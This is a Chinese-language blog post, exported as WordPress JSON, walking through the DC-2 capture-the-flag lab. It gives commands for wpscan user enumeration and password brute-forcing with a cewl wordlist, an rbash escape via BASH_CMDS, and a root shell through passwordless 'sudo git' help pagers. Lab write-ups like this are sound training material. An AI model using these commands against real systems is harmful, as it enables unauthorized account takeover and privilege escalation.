{"id":221,"date":"2022-04-09T17:01:02","date_gmt":"2022-04-09T09:01:02","guid":{"rendered":"http:\/\/danielw.top\/?p=221"},"modified":"2022-04-09T17:01:02","modified_gmt":"2022-04-09T09:01:02","slug":"dc-2","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=221","title":{"rendered":"DC-2"},"content":{"rendered":"<h2>\u4fe1\u606f\u6536\u96c6<\/h2>\n<h3>\u626b\u63cf\u76ee\u6807\u4e3b\u673a\u7684IP\u5730\u5740<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409112140740.png\" alt=\"image-20220409112140740\" \/><\/p>\n<h3>\u626b\u63cf\u5f00\u653e\u7aef\u53e3<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409112319532.png\" alt=\"image-20220409112319532\" \/><\/p>\n<p>\u53d1\u73b0\u5f00\u653e\u4e8680\u548c7744\u7aef\u53e3\uff0c80\u5bf9\u5e94http\u670d\u52a1\uff0c7744\u5bf9\u5e94ssh\u670d\u52a1<\/p>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">python3 dirsearch.py -u http:\/\/192.168.226.135 -e*<\/code><\/pre>\n<blockquote>\n<p>\u626b\u63cf\u811a\u672c\u8bf7\u5230\u811a\u672c\u9875\u9762\u4e0b\u8f7d<\/p>\n<\/blockquote>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409114921149.png\" alt=\"image-20220409114921149\" \/><\/p>\n<h2>\u6e17\u900f<\/h2>\n<p>\u6d4f\u89c8\u5668\u8bbf\u95ee\u53d1\u73b0\uff0c\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\uff0cF12\u67e5\u770b\u7f51\u7edc\u8bf7\u6c42\u53d1\u73b0301\u6c38\u4e45\u91cd\u5b9a\u5411<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409112842743.png\" alt=\"image-20220409112842743\" \/><\/p>\n<p>\u7f16\u8f91\u672c\u673ahosts\u6587\u4ef6<\/p>\n<pre><code class=\"language-bash\">sudo vim \/etc\/hosts<\/code><\/pre>\n<p>\u6dfb\u52a0\u4e00\u6761<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409112952324.png\" alt=\"image-20220409112952324\" \/><\/p>\n<p>\u518d\u6b21\u8bbf\u95ee\u5373\u53ef\u6b63\u5e38\u663e\u793a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409113141295.png\" alt=\"image-20220409113141295\" \/><\/p>\n<p>\u5728\u9875\u9762\u4e2d\u627e\u5230flag1<\/p>\n<pre><code>Flag 1:\n\nYour usual wordlists probably won\u2019t work, so instead, maybe you just need to be cewl.\n\nMore passwords is always better, but sometimes you just can\u2019t win them all.\n\nLog in as one to see the next flag.\n\nIf you can\u2019t find it, log in as another.<\/code><\/pre>\n<p>\u63d0\u793a\u6211\u4eec\u4f7f\u7528cwel\u6765\u751f\u6210\u5bc6\u7801\u5b57\u5178<\/p>\n<pre><code class=\"language-bash\">u \u679a\u4e3e\u7528\u6237\u540d\uff0c\u9ed8\u8ba4\u4ece1-10\n\nu[10-20] \u679a\u4e3e\u7528\u6237\u540d\uff0c\u914d\u7f6e\u4ece10-20\n\np \u679a\u4e3e\u63d2\u4ef6\n\nvp \u53ea\u679a\u4e3e\u6709\u6f0f\u6d1e\u7684\u63d2\u4ef6\n\nap \u679a\u4e3e\u6240\u6709\u63d2\u4ef6\uff0c\u65f6\u95f4\u8f83\u957f\n\ntt \u5217\u4e3e\u7f29\u7565\u56fe\u76f8\u5173\u7684\u6587\u4ef6\n\nt \u679a\u4e3e\u4e3b\u9898\u4fe1\u606f\n\nvt \u53ea\u679a\u4e3e\u5b58\u5728\u6f0f\u6d1e\u7684\u4e3b\u9898\n\nat \u679a\u4e3e\u6240\u6709\u4e3b\u9898\uff0c\u65f6\u95f4\u8f83\u957f\n\n\u53ef\u4ee5\u6307\u5b9a\u591a\u4e2a\u626b\u63cf\u9009\u9879\uff0c\u4f8b\uff1a&quot;-e tt,p&quot;\n\n\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u9009\u9879\uff0c\u9ed8\u8ba4\u9009\u9879\u4e3a\uff1a&quot;vt,tt,u,vp&quot;\n\n--exclude-content-based &quot;&lt;regexp or string&gt;&quot;\n\n\u5f53\u4f7f\u7528\u679a\u4e3e\u9009\u9879\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528\u8be5\u53c2\u6570\u505a\u4e00\u4e9b\u8fc7\u6ee4\uff0c\u57fa\u4e8e\u6b63\u5219\u6216\u8005\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u4e0d\u5199\u6b63\u5219\u5206\u9694\u7b26\uff0c\u4f46\u8981\u7528\u5355\u5f15\u53f7\u6216\u53cc\u5f15\u53f7\u5305\u88f9\n\n--config-file | -c &lt;config file\u4f7f\u7528\u6307\u5b9a\u7684\u914d\u7f6e\u6587\u4ef6\n\n--user-agent | -a &lt;User-Agent\u6307\u5b9aUser-Agent\n\n--cookie &lt;String\u6307\u5b9acookie\n\n--random-agent | -r \u4f7f\u7528\u968f\u673aUser-Agent\n\n--follow-redirection \u5982\u679c\u76ee\u6807\u5305\u542b\u4e00\u4e2a\u91cd\u5b9a\u5411\uff0c\u5219\u76f4\u63a5\u8ddf\u968f\u8df3\u8f6c\n\n--batch \u65e0\u9700\u7528\u6237\u4ea4\u4e92\uff0c\u90fd\u4f7f\u7528\u9ed8\u8ba4\u884c\u4e3a\n\n--no-color \u4e0d\u8981\u91c7\u7528\u5f69\u8272\u8f93\u51fa\n\n--wp-content-dir &lt;wp content dirWPScan\u4f1a\u53bb\u53d1\u73b0wp-content\u76ee\u5f55\uff0c\u7528\u6237\u53ef\u624b\u52a8\u6307\u5b9a\n\n--wp-plugins-dir &lt;wp plugins dir\u6307\u5b9awp\u63d2\u4ef6\u76ee\u5f55\uff0c\u9ed8\u8ba4\u662fwp-content\/plugins\n\n--proxy &lt;[protocol:\/\/]host:port\u8bbe\u7f6e\u4e00\u4e2a\u4ee3\u7406\uff0c\u53ef\u4ee5\u4f7f\u7528HTTP\u3001SOCKS4\u3001SOCKS4A\u3001SOCKS5\uff0c\u5982\u679c\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u662fHTTP\u534f\u8bae\n\n--proxy-auth &lt;username:password\u8bbe\u7f6e\u4ee3\u7406\u767b\u9646\u4fe1\u606f\n\n--basic-auth &lt;username:password\u8bbe\u7f6e\u57fa\u7840\u8ba4\u8bc1\u4fe1\u606f\n\n--wordlist | -w &lt;wordlist\u6307\u5b9a\u5bc6\u7801\u5b57\u5178\n\n--username | -U &lt;username\u6307\u5b9a\u7206\u7834\u7684\u7528\u6237\u540d\n\n--usernames &lt;path-to-file\u6307\u5b9a\u7206\u7834\u7528\u6237\u540d\u5b57\u5178\n\n--threads | -t &lt;number of threads\u6307\u5b9a\u591a\u7ebf\u7a0b\n\n--cache-ttl &lt;cache-ttl\u8bbe\u7f6e cache TTL\n\n--request-timeout &lt;request-timeout\u8bf7\u6c42\u8d85\u65f6\u65f6\u95f4\n\n--connect-timeout &lt;connect-timeout\u8fde\u63a5\u8d85\u65f6\u65f6\u95f4\n\n--max-threads &lt;max-threads\u6700\u5927\u7ebf\u7a0b\u6570\n\n--throttle &lt;milliseconds\u5f53\u7ebf\u7a0b\u6570\u8bbe\u7f6e\u4e3a1\u65f6\uff0c\u8bbe\u7f6e\u4e24\u4e2a\u8bf7\u6c42\u4e4b\u95f4\u7684\u95f4\u9694\n\n--help | -h \u8f93\u51fa\u5e2e\u52a9\u4fe1\u606f\n\n--verbose | -v \u8f93\u51faVerbose\n\n--version \u8f93\u51fa\u5f53\u524d\u7248\u672c<\/code><\/pre>\n<pre><code class=\"language-bash\">cewl dc-2 &gt; pwd.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409113513004.png\" alt=\"image-20220409113513004\" \/><\/p>\n<p>\u56e0\u4e3a\u662fwordpress\uff0c\u6240\u4ee5\u91c7\u7528wpscan\u626b\u63cf\u4e00\u4e0b\u5b58\u5728\u7684\u6f0f\u6d1e<\/p>\n<pre><code class=\"language-bash\">wpscan --url http:\/\/dc-2<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409155512759.png\" alt=\"image-20220409155512759\" \/><\/p>\n<p>\u626b\u63cf\u540e\u672a\u80fd\u53d1\u73b0\u6f0f\u6d1e<\/p>\n<h3>\u626b\u63cf\u7528\u6237\u540d\u8d26\u53f7<\/h3>\n<pre><code class=\"language-bash\">wpscan --url dc-2  -e u<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409155723198.png\" alt=\"image-20220409155723198\" \/><\/p>\n<p>\u53d1\u73b0\u4e09\u4e2a\u8d26\u53f7\uff1aadmin\u3001jerry\u3001tom\uff0c\u5c06\u5176\u653e\u5230<code>user.txt<\/code>\u4e2d<\/p>\n<h3>\u7206\u7834<\/h3>\n<pre><code class=\"language-bash\">wpscan --url http:\/\/dc-2\/ -U user.txt -P pwd.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409160516844.png\" alt=\"image-20220409160516844\" \/><\/p>\n<p>\u63a2\u6d4b\u5230jerry\u548ctom\u7684\u5bc6\u7801<\/p>\n<p>\u767b\u5f55\u540e\u53f0\uff0cwordpress\u9ed8\u8ba4\u540e\u53f0\u8def\u5f84\u662f\uff1a\/wp-login.php\uff0c\u8bbf\u95ee\u540e\u53f0\u767b\u5f55\u754c\u9762\uff0c\u4f7f\u7528jerry\u7528\u6237\u767b\u5f55\uff08\u4f7f\u7528tom\u767b\u5f55\u6ca1\u6709\u4ec0\u4e48\u6709\u7528\u7684\u4fe1\u606f\uff09\uff0c\u53d1\u73b0flag2<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409161033592.png\" alt=\"image-20220409161033592\" \/><\/p>\n<p>\u6839\u636e\u63d0\u793a\u5bfb\u627e\u5176\u4ed6\u7a81\u7834\u70b9\uff0c\u60f3\u5230\u4e4b\u524d\u626b\u63cf\u51fa\u6765\u7684ssh\u670d\u52a1\u7aef\u53e37744<\/p>\n<h3>\u5c1d\u8bd5\u8fde\u63a5ssh<\/h3>\n<p>\u5bf9\u4e24\u4e2a\u8d26\u53f7\u8fdb\u884c\u5c1d\u8bd5\u53d1\u73b0tom\u7528\u6237\u53ef\u4ee5\u767b\u9646\uff0c\u4f46\u662f\u65e0\u6cd5\u4f7f\u7528cat\u6216vim\u67e5\u770bflag3<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409161610862.png\" alt=\"image-20220409161610862\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409161707031.png\" alt=\"image-20220409161707031\" \/><\/p>\n<h3>\u7ed5\u8fc7rbash<\/h3>\n<blockquote>\n<p>\u7ed5\u8fc7\u65b9\u6cd5\u8be6\u89c1\uff1a<a href=\"https:\/\/blog.csdn.net\/qq_43168364\/article\/details\/111830233\" target=\"_blank\"  rel=\"nofollow\" >https:\/\/blog.csdn.net\/qq_43168364\/article\/details\/111830233<\/a><\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">echo $0  #\u67e5\u770b\u811a\u672c\u540d\u79f0\nrbash<\/code><\/pre>\n<p>\u67e5\u770b\u73af\u5883\u53d8\u91cf\uff0c\u53d1\u73b0\u53ea\u6709\u56db\u4e2a\u547d\u4ee4\u53ef\u4ee5\u4f7f\u7528\uff0c\u8fdb\u884c\u7ed5\u8fc7<\/p>\n<pre><code class=\"language-bash\">BASH_CMDS[a]=\/bin\/sh;a #\u5229\u7528bash_cmds\u81ea\u5b9a\u4e49\u4e00\u4e2ashell\n# \u6dfb\u52a0\u73af\u5883\u53d8\u91cf\nexport PATH=$PATH:\/bin\/\nexport PATH=$PATH:\/usr\/bin<\/code><\/pre>\n<p>\u67e5\u770b\u5230flag3\u7684\u5185\u5bb9<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409164543381.png\" alt=\"image-20220409164543381\" \/><\/p>\n<p>\u6839\u636e\u63d0\u793a\u8fdb\u884c\u5982\u4e0b\u64cd\u4f5c\uff0c\u5f97\u5230flag4<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409164648681.png\" alt=\"image-20220409164648681\" \/><\/p>\n<p>\u63d0\u793a\u4e3agit\uff0c\u5e94\u8be5\u662f\u4f7f\u7528git\u63d0\u6743<\/p>\n<h3>git\u63d0\u6743<\/h3>\n<p>\u4f7f\u7528su jerry\u5207\u6362\u4e3ajerry\u7528\u6237\uff0c\u5bc6\u7801\u4e3a\u4e4b\u524d\u83b7\u53d6\u7684\u5bc6\u7801\uff0c\u53d1\u73b0jerry\u53ef\u4ee5\u4ee5root\u7528\u6237\u7684\u8eab\u4efd\u6267\u884cgit\u547d\u4ee4\u800c\u4e14\u8fd8\u4e0d\u9700\u8981\u5bc6\u7801<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409165058317.png\" alt=\"image-20220409165058317\" \/><\/p>\n<pre><code>\u65b9\u6cd51\uff1a\nsudo git -p help #\u5f3a\u5236\u8fdb\u5165\u4ea4\u4e92\u72b6\u6001\n!\/bin\/bash #\u6253\u5f00\u4e00\u4e2a\u7528\u6237\u4e3aroot\u7684shell\n\n\u65b9\u6cd52\uff1a\nsudo git help config #\u5728\u672b\u884c\u547d\u4ee4\u6a21\u5f0f\u8f93\u5165\n!\/bin\/bash \u6216\u8005 !&#039;sh&#039; #\u6253\u5f00\u4e00\u4e2a\u7528\u6237\u4e3aroot\u7684shell<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409165858070.png\" alt=\"image-20220409165858070\" \/><\/p>\n<p>\u5f97\u5230\u6700\u7ec8flag<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220409165957641.png\" alt=\"image-20220409165957641\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4fe1\u606f\u6536\u96c6 \u626b\u63cf\u76ee\u6807\u4e3b\u673a\u7684IP\u5730\u5740 \u626b\u63cf\u5f00\u653e\u7aef\u53e3 \u53d1\u73b0\u5f00\u653e\u4e8680\u548c7744\u7aef\u53e3\uff0c80\u5bf9\u5e94http\u670d\u52a1\uff0c7744\u5bf9\u5e94ssh\u670d\u52a1 \u76ee\u5f55\u626b &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-221","post","type-post","status-publish","format-standard","hentry","category-9"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/221","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=221"}],"version-history":[{"count":1,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/221\/revisions"}],"predecessor-version":[{"id":222,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/221\/revisions\/222"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=221"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=221"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=221"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}